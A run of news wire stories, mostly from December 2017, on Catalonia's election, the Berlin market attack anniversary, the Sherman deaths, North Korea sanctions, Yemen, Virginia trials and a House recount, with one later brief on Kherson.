Egyptian security forces have been battling Islamic militants in Sinai for years, but the violence has intensified and become more widely spread after the military in 2013 ousted an Islamist president.
The head of Iraq's Chaldean Church says that battling extremist "mentality" is key to peaceful coexistence among Iraq's religious and ethnic groups as the nation emerges from more than three years of war with Islamic State militants.

Patriarch Louis Raphael I Sako has told The Associated Press that IS "is done geographically, but it is not done yet ideologically."

However, Sako cautioned that some Muslim clerics are still "spreading hatred" in the country by labelling Christians as "infidels" in their sermons.

Iraqi Christians number around 500,000 today, down from 1.5 million more than a decade ago.

When the Islamic State group blitzed across western Iraq in 2014, thousands of Christians fled. The extremists would force Christians to convert to Islam or pay a special tax, and often confiscated their property.
Catalonian separatists won a razor-thin majority on Thursday, with the three separatist parties winning a total of 70 seats in the 135-seat regional parliament.

But the snap regional election failed to clarify the way forward, as parties seeking Catalonia's independence will be a majority in the new parliament but a pro-union party got the most votes.

Still, ousted Catalan President Carles Puigdemont celebrated the results from Belgium on Thursday -- the same country he sought refuge in after Spain issued European arrest warrants for him and other separatists in November.

Puigdemont also said that he's ready to meet with Spanish Prime Minister Mariano Rajoy in any location but Spain, because that's where he's facing arrest. In addition, Puigdemont also said he wants guarantees to return to Catalonia and be reinstated as the region's leader.

In response, Rajoy said he expects a "new era based on dialogue" will begin in Catalonia following the snap election, adding that he will talk with the region's new leaders as long as they don't violate Spain's Constitution.

The election comes after the Spanish government took control of Catalonia when separatist lawmakers, led by Puigdemont, declared independence in October.

Spain invoked its never-before used constitutional amendment to take control of the region, giving it the ability to sack Puigdemont and his cabinet as well as authorize the government to curtail the regions parliamentary powers. Spain's Constitutional Court officially annulled the Catalan parliaments independence vote in November.

European neighbors  including Italy, France and Germany  have condemned the independence declaration and rallied behind Spain.

In light of the election, here's what you need to know.

What is Catalonia?

Located in the northeast region of Spain, Catalonia is largely independent with its own culture and language. Its one of the richest and most industrialized areas of the country with a heavy emphasis on manufacturing, according to the BBC.

The region, which includes Barcelona, is home to about 7.5 million people.

Valuing its autonomy, Catalonia has its own parliament and executive, called Generalitat in its language.

Why do they want independence?

Because of its own cultural identity, those in favor of Catalan independence have pushed for the region to become separate from Spain. Supporters also believe that they have given more to the Spanish government than they have gotten back.

The push for independence raises questions of the future of democracy and democratic rule, Pamela Radcliff, a University of California, San Diego professor and modern Spain historian, told Fox News. Whats being contested between Spain and Catalonia, one of the things is different visions of what defending democracy looks like.

SOME SEPARATIST-MINDED CATALANS URGE CIVIL DISOBEDIENCE

Radcliff said that its very possible that neither side has much incentive to compromise.

The region held a referendum on Oct. 1.

Tens of thousands of people gathered in the streets of Barcelona around the Catalan regional government palace to celebrate the independence vote. They chanted for the Spanish flag to be removed as live music played.

The regions parliament voted to establish an independent Catalonia with 70 votes in favor of independence, 10 votes against and two blank ballots. Opposition leaders had left the chambers in protest before the vote.

How did the Oct. 1 vote go?

Catalonias parliament voted for independence after an Oct. 1 referendum with about 90 percent of the 2.3 million people who voted choosing independence, according to Catalan officials. However, fewer than half of the eligible voters participated in the highly contested referendum.

About 900 people were treated for injuries after voting turned violent when Catalan civilians and Spanish police clashed.

Andrew Dowling, an expert in Catalan history at Cardiff University in Wales, said that an independence declaration by the Catalan parliament is symbolic without border and institutional control and no international support.

PRO-INDEPENDENCE CATALANS: 'I'VE NEVER FELT SPANISH'

The declaration "will see the fracture between hardliners and the pragmatic people in Catalonia who are already seeing an economic fallout," Dowling told The Associated Press.

But Spains Constitutional Court officially annulled the Catalan independence vote on Nov. 8.



What has been Spains response?

Spain's top court declared the Oct. 1 independence referendum illegal, and Spanish Prime Minister Mariano Rajoy had warned that the governments first move will be to remove Puigdemont from power when the Senate granted him the special powers under Article 155.

Rajoy said what is happening in Catalonia is a clear violation of the laws, of democracy, of the rights of all, and that has consequences.

Hundreds of thousands of anti-independence protesters demonstrated in the streets of Barcelona and called for the Catalonia region to remain a part of Spain.

Rajoy reportedly refused help from outside civil-society groups and lawyers to mediate negotiations between the two factions. He has also declined to engage in talks with Catalan leaders.

There is no possible mediation between democratic law and disobedience and unlawfulness, Rajoy said.

What is Article 155?

Spain invoked a clause of its constitution after Catalonia forged ahead with its plans to secede from the country that would take away the regions autonomy.

Catalonia's refusal to backtrack from its independence threats triggered Article 155 of the Spanish Constitution, the government said, which allows central authorities to take over control of any of the countrys 17 regions. Its a provision that hasnt been used in the four decades since democracy was restored in the European nation.

OUSTED CATALAN LEADER SAYS HE IS NOT SEEKING POLITICAL ASYLUM, SUPPORTS SNAP ELECTION



An English translation of the constitution states that if an autonomous community breaks the law or disregards the constitution, the Spanish government can  after following certain procedures  take the measures necessary in order to compel the [community] forcibly to meet said obligations, or in order to protect [Spains] general interests.

Rajoy's cabinet met in a special meeting to approve measures to take direct control of the Catalan region under Article 155. The Senate gave him the power to do so.

The Associated Press contributed to this report.
As Germany commemorated the one-year anniversary of a Christmas market attack in Berlin that killed 12 people, government officials admitted Tuesday they were not sufficiently prepared to handle the attack and support the victims.

Top German officials were expected to attend an interreligious service along with the relatives and the victims of last year's attack, which was perpetrated by an Islamic extremist.

The mayor of Berlin was to unveil a memorial featuring the names of those who were killed.

But the tribute was expected to be tense amid the disappointment by the survivors and the victims families, many of whom have said they believe the leaders let them down.

Justice Minister Heiko Maas admitted Tuesday that his government "was not sufficiently prepared for the consequences of such a terrorist attack for those affected."

In an op-ed in the German daily newspaper Tagesspiegel, he added: "For this we can only apologize to the victims and surviving relatives. It remains a never-ending task of politics in a democratic constitutional state to learn from mistakes and to assume our responsibility towards the victims of terror.

The ministers remarks followed German Chancellor Angela Merkels first-ever meeting with the survivors and families on Monday amid a scathing open letter, which slammed the German leader for not reaching out to them sooner.

The group of survivors also criticized the government after media reports showed how intelligence and security agencies failed to stop the terrorist despite knowing his ties to radical Islamic extremists.

On Dec. 19, 2016, 24-year-old Tunisian rejected asylum seeker Anis Amri hijacked a truck and killed the driver. He then drove the vehicle through the Christmas market, killing a dozen people and injuring more than 50. Amri escaped Germany but was located by Italian authorities four days later. He was fatally shot by police outside a train station in Milan.

Kurt Beck, the government's official commissioner for the victims of the attack, told Deutsche Welle that although everyone anticipated vehicular terror attacks in Germany, he admitted the government was not prepared.

I believe that, in turn, led an error of judgment, Beck said. (Then-President) Joachim Gauck spoke to the victims' families, but the chancellor didn't, and the relatives see that as a considerable deficiency.

Asked why Merkel did not speak with the survivors and the victims families soon after the attack, he added: I believe she thought that since the president spoke to them, she didn't want to top that  at least that's what she told me. She meant it in good faith, but she misjudged the situation.

The Associated Press contributed to this report.
Friends and neighbors of a Canadian billionaire-philanthropist who was found dead alongside his wife last week in their Toronto-area mansion were casting doubt on whether it was a murder-suicide as homicide investigators continued to work the suspicious case on Tuesday.

Barry and Honey Sherman were found hanging side by side Friday in a windowless room at their North York home with mens leather belts tied around their necks and a pool railing, wearing jackets that bound their arms behind their backs, the Toronto Sun reported.

"I don't believe for a second, I think it's impossible," Fred Waks, a longtime family friend, told CBC Toronto on Monday when asked if he thought the deaths were a case of murder-suicide. "I don't believe it, and none of us believe it."

Waks said that he knew Sherman, the chairman of generic-drug maker Apotex, for 14 years, and that one of his daughters was set to be married while another just had a baby.

"They still walked hand in hand; they had everything in life to be looking forward to, Waks said.

An autopsy revealed Sunday that Sherman, 75, and his wife, 70, died from "ligature neck compression, according to The Associated Press.

Canadian media reports over the weekend said police were looking into a murder-suicide theory.

The circumstances of their death appear suspicious and we are treating it that way, Toronto Constable David Hopkinson told reporters, but police also say there were no signs of forced entry and investigators arent looking for any other suspects.

I think it was a murder, Eddie Gilbert, the Shermans next-door neighbor of 15 years, told the Toronto Sun. Of course it was. What else would it be? How could he pick her up and put her on a railing?

Linda Frum, a Canadian Parliament senator and friend of the couple, told The New York Times that it was impossible that Barry would harm Honey. "There is absolutely zero debate in my mind, this was a double homicide, she said.

A statement issued Saturday on behalf of Shermans four surviving children also blasted reports their parents died in a murder-suicide.

"There is absolutely zero debate in my mind, this was a double homicide.  Linda Frum, a Canadian Parliament senator and friend of the Shermans

We are shocked and think its irresponsible that police sources have reportedly advised the media of a theory which neither their family, their friends nor their colleagues believe to be true, the statement said.

We urge the Toronto Police Service to conduct a thorough, intensive and objective criminal investigation, it added.

Sherman started Apotex with two other employees in 1974; it has grown to become the largest Canadian-owned pharmaceutical company, The Associated Press reported.

"From its humble two-employee, 5,000 square-feet beginning in Toronto, the company Dr. Sherman founded grew into a global pharmaceutical organization that today employs more than 11,000 people in research, development, manufacturing and distribution in facilities around the world," a statement on Apotexs website read. "Dr. Sherman embraced the obligations that come with success. As a testament to this, Apotex provides significant support to a variety of charitable organizations and community groups in Canada and around the world, and invests significantly in the universities where many of our employees earned their degrees."

Shermans worth has been estimated at $3.65 billion, making him the 15th-richest Canadian, according to data from Canadian Business magazine. The Shermans also raised funds for Prime Minister Justin Trudeau.

During Sherman's time with Apotex, the company was involved in some 150 civil cases in the Superior Court of Justice, the Toronto Star reported, citing court records.

Sherman was recently victorious in a lawsuit brought against him by his cousins, who claimed they were owed the financial equivalent of 20 percent of his stake in Apotex.

The claimed interest in Apotex was wishful thinking, and beyond fanciful, Superior Court Justice Kenneth Hood wrote in a decision released in September, according to the Toronto Star.

The couples funeral is to be held Thursday at the Benjamins Park Memorial Chapel in Mississauga, a city in southern Ontario.
A Mexican journalist has been killed in the gulf coast state of Veracruz. He's at least the 10th journalist slain in the country this year.

The state security coordinator says in a statement that unidentified gunmen shot 34-year-old Gumaro Perez Aguilando while he attended a Christmas event at his child's elementary school Tuesday morning. Dozens of parents and children were present at the time of the shooting.

Perez covered crime news for a number of local outlets and had founded the online news site La Voz del Sur. He also worked for the local government in some capacity.

Another area reporter, Candido Rios, was killed on Aug. 22.
Kim Jong Un may seem to keep his regime afloat with missile tests and propaganda depicting happy and healthy citizens despite tougher United Nations sanctions, but in a few months North Koreans will be struggling to stay alive because of severe economic difficulties, South Korean researchers predicted on Monday.

North Korea is most likely going to feel the effects of the U.N. sanctions that were adopted in September by March of next year, The Institute for National Security Strategy, a South Korean research team thats part of the countrys National Intelligence Service, said, according to Yonhap News Agency.

In addition to further toughened sanctions, an increase in North Korea's investment in conventional forces in the aftermath of military pressure stemming from the (Korean) deployment of American strategic assets is forecast to hit the North Korean economy seriously sometime after March next year," the research institute said.

WHY 2018 WILL BE NORTH KOREA'S YEAR

It added, "March has been pinned for the timing for the [United Nations Security Sanction] Resolution 2375 adopted in September to take effect, given the U.N. sanctions committee's position that the effects of sanctions begin to be seen six to twelve months after their introduction.

South Korean researchers said its unclear if Kim will continue his focus on building the rogue nations nuclear and missile program as world leaders threaten more sanctions to cripple its economy. Analysts previously told Fox News that Kims strategy for his regimes success is to develop its nuclear arsenal and build its economy.

"North Korea may put further focus on building the economy while holding on to its policy line of becoming the most powerful nuclear state," Institute for National Security Strategy said.

AUSTRALIAN ACCUSED OF BEING 'LOYAL AGENT' TO NORTH KOREA IDENTIFIED, CALLED A 'GOOD MAN'

The U.N. Security Council unanimously approved sanctions that banned the regime from importing all natural gas liquids and condensates and capped imports of crude oil. North Korea scoffed at the sanctions and continued to accuse the U.S. of bringing the nations to the brink of a nuclear war.

The forecast of the expected impact of the U.N. sanctions came the same day the White House disclosed North Korea was behind the massive WannaCry cyberattack in May that spread around the world costing billions of dollars.

In a Wall Street Journal op-ed, entitled, Its Official: North Korea Is Behind WannaCry, White House Homeland Security Adviser Tom Bossert wrote that the Hermit Kingdom was the main culprit behind the May 2017 global cyberattack in which computers running Windows were targeted. During the infamous attack, data were encrypted and ransom payment, in the form of bitcoin, was demanded of users if they wanted their data back. It's unclear if the U.S. will take additional actions after the disclosure.

North Korea launched an intercontinental ballistic missile in late November and boasted that the weapon could carry super-large heavy nuclear warheads.

Experts have feared the Hermit Kingdom could conduct another test before the end of the new year, but the research institute predicted Kim might use the 2018 Winter Olympics in South Koreas PyeongChang to establish a dialogue, according to Yonhap.

As for whether North Korea would even participate in the Olympics, researchers said: "All the steps for participation have been completed except for (leader) Kim Jong-un's final decision."
Oscar Pistorius, the disgraced South African Paralympic champion, filed an appeal Tuesday to challenge his prison sentence which was doubled last month for the 2013 murder of his girlfriend Reeva Steenkamp.

Reuters, citing court documents, reported that Pistorius filed an application to Constitutional Court, South Africas highest court, requesting to overturn the 13 years and five months increased prison sentence.

South Africas Supreme Court of Appeal upheld an appeal by prosecutors against Pistorius original six-year sentence for shooting Steenkamp multiple times in his home in the pre-dawn hour of Valentines Day 2013. Pistorius claimed he mistook the 29-year-old model and reality TV star for an intruder and was initially convicted of manslaughter by trial judge Thokozile Masipa.

OLYMPIC SPRINTER OSCAR PISTORIUS PRISON SENTENCE MORE THAN DOUBLED TO 13 YEARS, 5 MONTHS

Prosecutors argued Pistorius original six-year sentence was too lenient and the Supreme Court agreed, saying in a full written ruling released later that the sentence of six years imprisonment is shockingly lenient to a point where it has the effect of trivializing this serious offense.

The Supreme Court also said that the blade runner displays a lack of remorse, and does not appreciate the gravity of his actions.

The new sentence of 13 years and five months took into account the one year and seven months Pistorius served in prison and under house arrest after his initial manslaughter conviction.

OSCAR PISTORIUS INJURED IN PRISON FIGHT OVER TELEPHONE: REPORT

The new sentence was backdated to start on the day he began his murder sentence, on July 6 last year.

Pistorius, 31, must serve at least half of the 13 years and five months -- nearly seven years -- before he can be considered for parole in 2023. He has served a year and five months of his murder sentence. The athlete was not in court at the time of the appeal hearing.

Steenkamps parents told The Associated Press after the hearing that they felt there has been justice for their daughter.

Earlier this month, the BBC reported Pistorius was injured in a prison fight over the use of a public phone. He reportedly sustained a bruise during the altercation. Local media reported the fight broke out after the Paralympic champion was using the phone for too long. Pistorius was currently imprisoned in Atteridgeville Correctional Centre in the South African capital Pretoria, a special-needs prison tailored to prisoners with disabilities, who are serving a maximum of six years.

The Associated Press contributed to this report.
Reporters Without Borders (RSF) says that 65 journalists were killed in 2017, the lowest toll in 14 years.

According to figures released by the non-governmental organization on Tuesday, 60 percent of the journalists who were killed were murdered.

RSF said the overall decrease is due to journalists leaving countries "that have become too dangerous." It also noted "a growing awareness of the need to protect journalists."

RSF stressed that some countries which are not at war have become as dangerous for reporters as war zones, with 46 percent of deaths occurring in such places in 2017, as against 30 percent the previous year.

Syria was the deadliest country for journalists, with 12 killed, one more than in Mexico.
The Saudi-led coalition fighting Yemens Shiite rebels announced it intercepted a missile fired over southern Riyadh Tuesday, while the Yemeni rebels said they targeted the royal palace in the kingdoms capital.

U.S. officials at the Pentagon confirmed to Fox News Saudi Arabias report that the Houthi missile was shot down successfully.

While we dont yet have sufficient insight into this particular attack, it bears all the hallmarks of previous attacks using Iranian-provided weapons. It is only a matter of time before one of these missiles hits the target. If we dont do something, we will miss the opportunity to prevent further violence from Iran, U.S. Ambassador Nikki Haley told the U.N. Security Council on Tuesday. This is the secretary-generals fourth report on the Iranian regimes lack of full compliance with Resolution 2231. And it is the most damning report yet. This report makes the case that Iran is illegally transferring weapons.

Saudi state TV broadcast the announcement by the coalition as people who lived in the area posted videos on social media showing a small cloud of smoke in the sky. The Washington Post reported witnesses hearing a loud boom at the time.

The report said no damage was caused by the intercepted missile.

CIA CHIEF POMPEO MEETS WITH KING SALMAN IN SAUDI ARABIA

This is the second missile attack fired by the Houthis to target Saudis capital since Nov. 4. Last months attack targeted Riyadhs airport but was also intercepted.

Mohammed Abdul-Salam, the spokesman for the Shiite rebels also known as Houthis, said they fired a ballistic missile targeting the Yamama Palace. The palace is where the Saudi monarch, King Salman, received visiting foreign dignitaries and top Saudi officials.

Residents of Riyadh posted videos on social media showing a small cloud of smoke in the sky after hearing a loud explosion over their homes and while driving.

In Yemen, Houthi spokesman Mohammed Abdul-Salam said the group targeted the Yamama Palace. He tweeted that a ballistic Volcano H-2 missile was used in the attack.

In the episode last month, the Houthis targeted Saudi Arabias international airport in Riyadh, and Saudi Air Defense said it was intercepted. However, a New York Times analysis of photos and videos from the attack found that the missile may have actually come apart because of its speed and force.

Saudi Arabia has the U.S.-made Patriot surface-to-air anti-missile system, which President Donald Trump credited for bringing the Nov. 4 missile down.

In the almost three years that the Saudi-led coalition has waged war with Yemens rebels, dozens of other missiles have been fired by the Houthis across the border into Saudi Arabia, reaching as far as some border towns. There have been casualties among local residents in those attacks.

Earlier this month, the Houthis claimed they fired a missile at an under-construction nuclear plant in the United Arab Emirates, which is part of the Saudi coalition battling the militant group in Yemen. The UAE, however, denied that a missile had been fired.

IRANIAN MISSILES GOING TO REBELS IN YEMEN POSE A DANGER TO OUR ALLY SAUDI ARABIA

The Saudi-led coalition has been at war with the Houthis since March 2015. The Houthis, who are allied with Saudi Arabias rival, Iran, have forced into exile the Saudi-backed and internationally recognized government of President Abed Rabbo Mansour Hadi.

Despite a fierce air campaign against the Houthis, the rebels still largely control the Yemeni capital, Sanaa, and much of the countrys north along the border with Saudi Arabia.

Earlier this month, the Houthis killed Yemens former president, Ali Abdullah Saleh, after he switched alliances and struck deals with the Saudi-led coalition.

Yemens war has killed more than 10,000 civilians and driven millions to the brink of famine.

Fox News' Lucas Tomlinson and The Associated Press contributed to this report.
A year after a terrorist rammed a truck into a bustling Berlin Christmas market, killing 12 and injuring 56, British authorities say the countrys crowded holiday markets are safer now than any time in recent years as authorities launched pre-dawn raids Tuesday to arrest four men on suspicion of plotting terrorist attacks.

Extra patrols, including armed policea more common site in cities like New Yorkhave been brought into the United Kingdoms busiest areas.

At two of the countrys largest Christmas markets, in Birmingham and Manchester, the new security was easy to spot.

Birminghams city center, the site of the biggest Christmas market outside Germany that attracted 5 million visitors last year, has been ringed by concrete bollards and metal gates, Sky News reported.

We've spent a long time planning the policing operation around the Birmingham Christmas market, Superintendent Andy Parsons, in charge of city center policing in Birmingham, told Sky News.

CHRISTMAS MARKET ATTACK FOUND THEM UNPREPARED, GERMAN OFFICIALS SAY ON ANNIVERSARY

Parsons said there are more officers on duty and that the publics response to the extra security measures has been positive.

They recognize the threat environment in which we're operating and they've been really supportive of the policing operation to make the market a safe place this year, he told Sky News.

Meanwhile, the terrorist threat in the U.K. hasn't abated.

British police sent a bomb disposal team to a house in northern England Tuesday after officers carried out pre-dawn raids to arrest four men on suspicion of plotting terrorist attacks.

Counter-terrorism police detained the four men at their homes in Sheffield and Chesterfield in the early morning. Officers blocked off one of the houses and evacuated local residents as bomb experts arrived and searches were carried out.

The unidentified men, aged 22 to 41, were questioned at a police station and they have not been charged. Police said the arrests were "intelligence-led and pre-planned" as part of an ongoing investigation.

On the one year anniversary of the Berlin attack, in which Anis Amri hijacked a vehicle and drove it into Berlins main Christmas market, the market in Germany is closed for the day.

Britain has been increasing security and implementing other counter-terrorism plans following a string of recent terrorist incidents in London and Manchester that have killed scores of people. Home Secretary Amber Rudd said earlier this month that authorities have foiled nine terror plots since March.

Detective Chief Superintendent Scott Wilson, national coordinator for Protect and Prepare in the U.K., told Sky News: "Following the attacks over the summer period, we now have a lot closer working relationship with business, running right up to the opening of the Christmas markets this year.

The official terrorist threat level for Britain is "severe," indicating an attack is considered highly likely.

The Associated Press contributed to this report.
The United Nations refugee chief is urging the international community to commit more resources toward helping refugees in Africa.

Filippo Grandi says "it is very difficult to fund programs in Africa. I am not ashamed to say it."

Armed conflicts have displaced millions of people across the continent.

Grandi spoke Tuesday while visiting the Kenyan refugee camp for Somalis known as Dadaab. It is one of the world's largest with over 230,000 inhabitants.

Kenya's government wants Dadaab shut down, but the U.N. is urging patience and says all repatriations must be voluntary.

Kenya is the last leg of a trip during which Grandi also visited Djibouti and Somalia.
The U.N. human rights office said Tuesday it has verified the killings of 115 Yemeni civilians and other non-combatants in airstrikes carried out over 11 days this month by a Saudi-led military coalition batting Yemen's Shiite rebels.

The office spokesman, Rupert Colville, said U.N. officials are "deeply concerned" about the surge in civilian casualties from airstrikes following the killing in early December of Yemen's former president, Ali Abdullah Saleh.

Saleh was killed by the rebels, known as Houthis, after apparently switching alliances and turning against his former allies. Colville said the killings occurred in the Dec. 6-16 period in four northern provinces.

The attacks included airstrikes on Yemen's rebel-run TV channel, a hospital in the Red Sea port city of Hodeida and a series of strikes targeting a prison in Sanaa that killed 43, he said.

Meanwhile, hundreds of world figures urged the leaders of the United States, France and Britain on Tuesday to stop "stoking the flames of war" in impoverished Yemen. The statement, signed by 355 high-profile figures, marked the 1,000th day of the war, which has turned the poorest Arab country into the world's largest humanitarian crisis.

The signatories included eight Nobel peace laureates, religious leaders, Western lawmakers and rights defenders, as well as U.S. Congresswomen Barbara Lee and Pramila Jayapal, and Congressman Ro Khanna, all Democrats.

"To prevent further catastrophe and famine, Yemen needs an immediate cease-fire; an end to all blockages on access for food, fuel and medical supplies; and investment in a new, inclusive peace process," the statement read.

It appealed on President Donald Trump, British Prime Minister Theresa May and French President Emmanuel Macron.

"If you don't want the burden of the lives of thousands more Yemeni children on your hands, then the time to act is now. Yemen can't wait any longer," it said.

The appeal also called on the U.N. Security Council to press Saudi Arabia and its ally the United Arab Emirates, the main pillars of the coalition, to end the war in Yemen.

Over the past three years, more than 10,000 people have been killed and three million displaced amid the Saudi-led coalition's air campaign against Iranian-backed Houthis and their allies.

The U.S.-backed Saudi collation is seeking to restore Yemen's internationally recognized government back to power.

___

Associated Press writers Samy Magdy in Cairo and Ahmed al-Haj in Sanaa, Yemen, contributed to this report.
Ukrainian President Volodymyr Zelenskyy has made a triumphant visit to the newly liberated city of Kherson. He hailed the Russian withdrawal from the southern city as the beginning of the end of the war but also acknowledged the heavy price Ukrainian soldiers are paying in their grinding effort to push back the invaders. Retaking Kherson was one of Ukraines biggest successes in the nearly 9-month-old war and delivered another stinging blow to the Kremlin. But large parts of eastern and southern Ukraine are still under Russian control, and the city of Kherson itself is without water, power and heat, and remains within reach of Moscows shells and missiles. Heavy fighting continued elsewhere in Ukraine.
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In a taped phone call played in Stafford County Circuit Court on Monday, Crystal Agnor could be heard chuckling when the father of her child threatened to smoke her and her husband as they headed toward a court-ordered child-custody exchange last year.

Corey Terry frequently made threats, Agnor testified, so neither she nor her husband, 20-year-old Austen Agnor, were particularly alarmed by Terrys May 20, 2016, outburst. They continued to a prearranged meeting spot in Stafford as planned.

Shortly after they arrived, Austen Agnor was dead after being shot seven times while sitting in the passengers seat of their car. Corey Andrew Terry, 28, is charged with first-degree murder and using a firearm in the commission of a felony. His scheduled three-day trial started Monday.

Terry initially made an Alford plea to the murder charge. An Alford plea means Terry doesnt admit guilt, but it carries the same effect as a guilty plea. Judge Victoria Willis allowed Terry to withdraw that plea this summer after Terrys new attorney, Mark Murphy, argued that Terry was confused when he agreed to the deal.

Austen Agnor was gunned down in the parking lot of the former Exxon station on Courthouse Road in Stafford. The Agnors had driven from Maryland to meet Terry, who lived in the Richmond area, and turn over his two-year-old daughter. The evidence presented by prosecutors Lori DiGiosia and Ryan Frank shows that Terry and the Agnors had a contentious relationship well before the day Austen Agnor was killed. There were derogatory comments on social media and angry telephone calls.

The fatal 2016 encounter wasnt the first time one of their child custody exchanges had gone wrong. Crystal Agnor was convicted of assault following one incident in which Terry ended up at a hospital to be treated for bites, Murphy pointed out during his cross-examination.

Austen Agnor, who was away on on Army assignment, had just gotten home a few days before the exchange. He accompanied his wife to Stafford that evening.

Crystal Agnor said she taped calls to Terry that day because there had been prior allegations that she had not shown up to deliver the child to Terry. She said she wanted proof that she was doing what she was supposed to. In one of the calls, Terry sounded angry as he asked Agnor why she kept calling him. Im going to smoke your family and his, Terry said during the call.

Crystal Agnor said she called several more times to make sure Terry was going to show up. Even though he again said, Im going to kill everybody in your [expletive] family if you keep calling me, Agnor said neither she nor her husband were concerned.

I wouldnt have come if I took him seriously, she testified.

Lt. Randy Pinneta, an emergency services worker for Stafford, said he was in the area putting gas in a county vehicle that evening what he heard who turned out to be Crystal Agnor and Terry arguing. Agnor on Monday said Terry got mad because she didnt bring some of their daughters belongings to the exchange.

A short time later, Pinneta said he heard Austen Agnor hollering in Terrys direction, though Pinneta said he couldnt hear what was being said. He later noticed Terry jogging toward the Agnor vehicle.

I wasnt expecting a shooting but I was expecting a fight, Pinneta said.

After the shooting, witnesses saw Terry running toward the southbound Interstate 95 entrance ramp. Pinneta and others performed CPR on Austen Agnor while police began searching for the suspect.

Police found the gun in the grass off the interstate ramp. It had previously been reported stolen in Woodbridge.

Terry was apprehended about 90 minutes after the shooting at Airport Auto Sales at the intersection of U.S. 1 and American Legion Road. He has been in custody ever since.

In his opening statement, Murphy did not deny that Terry shot Agnor. But he said the shooting was not premeditated, a requirement for a first-degree murder conviction.
An eight-day trial for the accused gunman in the December 2015 slaying of Spotsylvania County resident Heather Ciccone is scheduled to start May 29.

Jonathan Julian Vejarano, 28, is charged with first-degree murder, conspiracy to commit murder, using a firearm in the commission of a felony and possessing a firearm as a felon. His trial date was set during a hearing Monday in Spotsylvania Circuit Court.

Vejarano is accused of shooting the 21-year-old Ciccone in the back of the head late Dec. 6, 2015, in a driveway on Piney Branch Road in Spotsylvania. He was arrested in March and has had previous scheduled trials delayed for various reasons, including a change of attorneys. He is now being represented by attorneys Melissa Danjczek and Vincent Robertson.

Vejaranos codefendant, Joshua Christopher Williams, 29, was convicted of first-degree murder and other charges last week. A jury recommended that Williams serve 38 years in prison. Vejarano briefly took the witness stand during Williams trial and quickly invoked his constitutional right against self-incrimination.

According to the evidence presented during Williams trial, Vejarano told inmates in the Rappahannock Regional Jail that he killed Ciccone at the request of Williams, who was having a physical relationship with Ciccone.

The inmates said they were told that Williams wanted Ciccone dead because he believed she was setting him up for Spotsylvania narcotics detectives. Prosecutors said the mother of Williams children, Danielle Long, convinced Williams to get rid of Ciccone because she was jealous of Ciccones relationship with Williams. She accused Ciccone of passing along a sexually transmitted disease and of working for the police.

Long was recently charged with being an accessory to murder after the fact and conspiring to commit perjury. She is in custody in New Jersey awaiting extradition to Virginia.

No evidence was presented during the trial indicating that Ciccone had any disease or that she was setting Williams up. However, there was evidence that she was acting as an intermediary between Williams and a man who wanted to purchase a half-pound of marijuana. Prosecutors said Williams used the planned drug deal to lure Ciccone to her death.

According to testimony, Vejarano received $5,000 worth of marijuanahalf to cover money already owedand admission into Williams gang, the G-Shyne Blood, for carrying out the hit.

Clinton Eastwood Williams, 27, Joshua Williams brother, was also charged recently in connection to the Ciccone slaying. Clinton Williams is facing the same charges as Long and has a preliminary hearing scheduled for Feb. 21 in Spotsylvania General District Court.
Orange Countys Board of Supervisors unanimously approved a special-use permit for a 400-acre, 60-megawatt solar farm to be built along State Route 20, just a mile from Locust Grove Primary School.

No citizens spoke against the operation during a public hearing last week, but supervisors asked the applicant to address some concerns before ultimately approving the application. The application for a special-use permit was submitted in August by Reston-based solar developer SolUnesco.

Within the nearly 50-page application, SolUnesco projects the proposed operation will produce enough renewable energy to power the equivalent of 10,000 homes from solar panels covering approximately 400 acres in eastern Orange County. The developer has more than 640 acres of agriculturally-zoned land under contract for the project with Mine Run-Kube Farms LLC.

Currently, the operation of solar farmsas a public utility facilityis permissible as a special-use in all county zoning districts.

District 4 Supervisor Jim Crozier, whose district includes the property where the solar farm has been proposed, made an amendment to the language.

One of the 20 conditions the county has attached to the SUP requires a vegetation buffer to adequately obscure visibility of the facility from Rt. 20. Crozier said hed prefer the language to mention the buffer needs to provide adequate screening year-round.

This county has worked very, very hard for the past number of years to stimulate economic development as well as tourism and both of them are very crucial, important parts to the county and the citizens of the county, he said, stressing the importance of protecting the countys viewshed.

SolUnescos Director of Projects Seth Maughan said the company estimates the project will bring in $2.2 million to the county in machinery and tools tax revenue over the course of its life (assuming a 30-year lifespan). Furthermore, the proposed project will remove two parcels from the countys land use taxation program, bringing in an estimated $10,000 per year in property tax revenue, he added.

Three of the four speakers at Tuesdays public hearing agreed.

Culpeper resident Rob Lanham spoke on behalf of Cedar Mountain Stone and Chemung Contracting. He said the possibility of a project of this size excites local contractors and suppliers.

Orange County resident Phillip Rich said the facility could provide citizens high-paying jobs and training within a growing industry. He also noted the importance of renewable energy to the environment.

Now that SolUnesco has received the countys approval, the company will be required to follow the Virginia Department of Environmental Qualitys Permit by Rule process, which requires the identification of impacts to wildlife and other natural resources as well as a mitigation plan for all identified impacts, explained Orange County Planning and Zoning Director Josh Frederick.

According to SolUnesco, the projects timeline will depend on the permitting process but construction is expected to begin by the end of 2018 or early 2019.
Democrats claimed a one-vote victory Tuesday after a recount in a contested Newport News-area House of Delegates race, a stunning result that would create a 5050 party split in the House.

Republicans went into last months election with a 6634 majority, but a single voter in the 94th District may have given Democrats the 16th victory they needed to fully erase the GOP majority and potentially usher in a power-sharing agreement.

Heading into the recount, Democrat Shelly Simonds trailed Republican Del. David E. Yancey by just 10 votes. The unofficial results Tuesday afternoon, which still have to be finalized Wednesday by the court overseeing the recount, showed Simonds with 11,608 votes to 11,607 for Yancey.

The Democratic wave in the Nov. 7 elections surpassed even the most optimistic Democrats expectations. Flipping the 94th, the closest of four House recounts this month, sparked a second round of Democratic elation.

Christmas came early today for Virginia Democrats! Democratic Party of Virginia Chairwoman Susan Swecker said in a statement. Todays results should strike fear into the heart of every Republican on the ballot next year. By running on a platform of expanding health care and providing a great public education to all, Shelly not only won the support of her communityshe ended 17 years of Republican control in the General Assembly.

Republicans seemed resigned to having lost their majority, giving no indication they were preparing a legal challenge to contest the apparent Simonds victory. In a statement, Del. M. Kirkand Cox, RColonial Heights, dropped the speaker-designee title he had been using since February after the GOP caucus chose him as the successor to retiring Speaker William J. Howell, RStafford.

The responsibilities of the House of Delegates as an institution transcend party labels, and our obligations to govern this Commonwealth remain, Cox and other Republican leaders said in a joint statement. As we have said for the last six weeks, we are committed to leading and governing alongside our colleagues. We must balance the budget, grow our economy, improve our schools, and fight the opioid crisis, to name a few of the tasks before us.

The Republican leaders said they stand ready to establish a bipartisan framework under which the House can operate efficiently and effectively over the next two years.

Democrats are holding out hope they could add even more seats before all is said and done.

Two more recounts are scheduled this week in the Fredericksburg areas 28th District and the Richmond regions 68th District.

